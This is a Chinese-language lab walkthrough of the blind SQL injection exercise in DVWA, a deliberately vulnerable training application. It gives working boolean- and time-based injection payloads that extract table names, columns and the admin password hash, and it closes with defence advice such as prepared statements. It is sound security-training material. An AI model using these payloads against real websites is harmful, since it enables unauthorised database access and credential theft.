DVWA下的SQL Injection Blind通关
字数 1314 2025-08-15 21:32:35
SQL盲注攻击技术详解
一、SQL盲注概述
SQL盲注(Blind SQL Injection)是一种特殊类型的SQL注入攻击,与常规SQL注入的主要区别在于:攻击者无法直接从页面上看到注入语句的执行结果,甚至无法确定注入语句是否执行成功。
盲注分类
- 基于布尔的SQL盲注:通过页面返回的真/假状态判断注入结果
- 基于时间的SQL盲注:通过页面响应时间判断注入结果
- 基于报错的SQL盲注:通过数据库错误信息判断注入结果
二、盲注攻击步骤
- 判断是否存在注入点及注入类型(字符型/数字型)
- 猜解当前数据库名
- 猜解数据库中的表名
- 猜解表中的字段名
- 猜解具体数据
三、DVWA各安全级别盲注分析
1. Low级别分析
漏洞代码特征:
$id = $_GET['id'];
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
攻击过程:
1.1 判断注入类型
- 输入
1' and 1=1 #→ 返回存在 - 输入
1' and 1=2 #→ 返回不存在 - 结论:存在字符型盲注
1.2 猜解数据库名
猜解长度:
1' and length(database())=4 # → 存在
猜解名称(使用ASCII码二分法):
1' and ascii(substr(database(),1,1))>97 #
1' and ascii(substr(database(),1,1))<101 #
...
最终确定数据库名为dvwa
1.3 猜解表名
猜表数量:
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
猜表名长度:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
猜表名内容:
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #
最终得到表名:guestbook和users
1.4 猜解字段名
猜字段数量:
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #
猜字段名:
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #
确认存在user和password字段
1.5 猜解数据
猜用户名长度:
1' and length(substr((select user from users limit 0,1),1))=5 #
猜用户名内容:
1' and ascii(substr((select user from users limit 0,1),1,1))=97 #
最终得到用户名admin和MD5加密的密码
2. Medium级别分析
防御措施:
- 使用
mysql_real_escape_string转义特殊字符 - 前端使用下拉选择表单
绕过方法:
- 使用BurpSuite修改POST参数
- 采用基于时间的盲注技术
时间盲注示例:
1 and if(length(database())=4,sleep(5),1) #
通过响应延迟判断条件是否为真
3. High级别分析
防御特点:
- 使用Cookie传递参数
- 随机延迟干扰时间盲注
- 查询添加
LIMIT 1限制
攻击方法:
- 使用注释符
#绕过LIMIT限制 - 攻击语句与Low级别类似
4. Impossible级别分析
安全措施:
- 使用PDO预处理语句
- 参数绑定
- 添加Anti-CSRF令牌
- 输入类型检查(
is_numeric)
四、关键技术点
1. 二分法猜解技术
通过不断缩小ASCII码范围快速确定字符:
1' and ascii(substr(database(),1,1))>100 #
1' and ascii(substr(database(),1,1))<120 #
2. 常用函数
length():获取字符串长度substr():截取字符串ascii():获取字符ASCII码count():计数if():条件判断sleep():延迟函数
3. 信息获取方法
database():当前数据库名information_schema.tables:获取表信息information_schema.columns:获取列信息
五、防御建议
- 使用预处理语句(PDO)
- 实施严格的输入验证
- 使用最小权限原则
- 添加CSRF防护
- 对特殊字符进行转义
- 使用Web应用防火墙(WAF)
六、总结
SQL盲注攻击虽然比普通SQL注入更复杂,但通过系统化的方法和耐心,攻击者仍可能获取敏感数据。防御方需要采取多层次的安全措施,特别是使用参数化查询和输入验证,才能有效防止此类攻击。